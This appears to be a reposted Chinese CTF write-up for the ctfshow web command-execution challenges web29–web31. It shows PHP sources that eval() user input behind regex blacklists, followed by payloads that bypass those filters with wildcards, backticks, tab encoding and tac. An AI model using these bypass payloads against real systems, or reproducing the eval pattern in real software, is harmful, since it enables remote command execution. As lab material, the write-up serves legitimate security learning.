ctfshow WEB入门 命令执行 web29-web122

时间:2021-07-10 16:15:58   收藏:0   阅读:37

web29

题目源码:

if(isset($_GET[‘c‘])){   
$c = $_GET[‘c‘];   
    if(!preg_match("/flag/i", $c)){      
        eval($c);   
    }   
}   
else{  
    highlight_file(__FILE__);   
}

利用函数:eval()

绕过思路:通配符绕过flag过滤

Payload1:/?c=system(“ls”); #找到flag.php

Payload2:/?c=system(“cat fla*”);

web30

题目源码

if(isset($_GET[‘c‘])){
    $c = $_GET[‘c‘];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。

Payload1:?c=echo `cat *` ;

web31

题目源码

if(isset($_GET[‘c‘])){
    $c = $_GET[‘c‘];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\‘/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。

Payload1:?c=echo `tac%09*`;

原文:https://www.cnblogs.com/QmVzdGxteQ/p/14993496.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!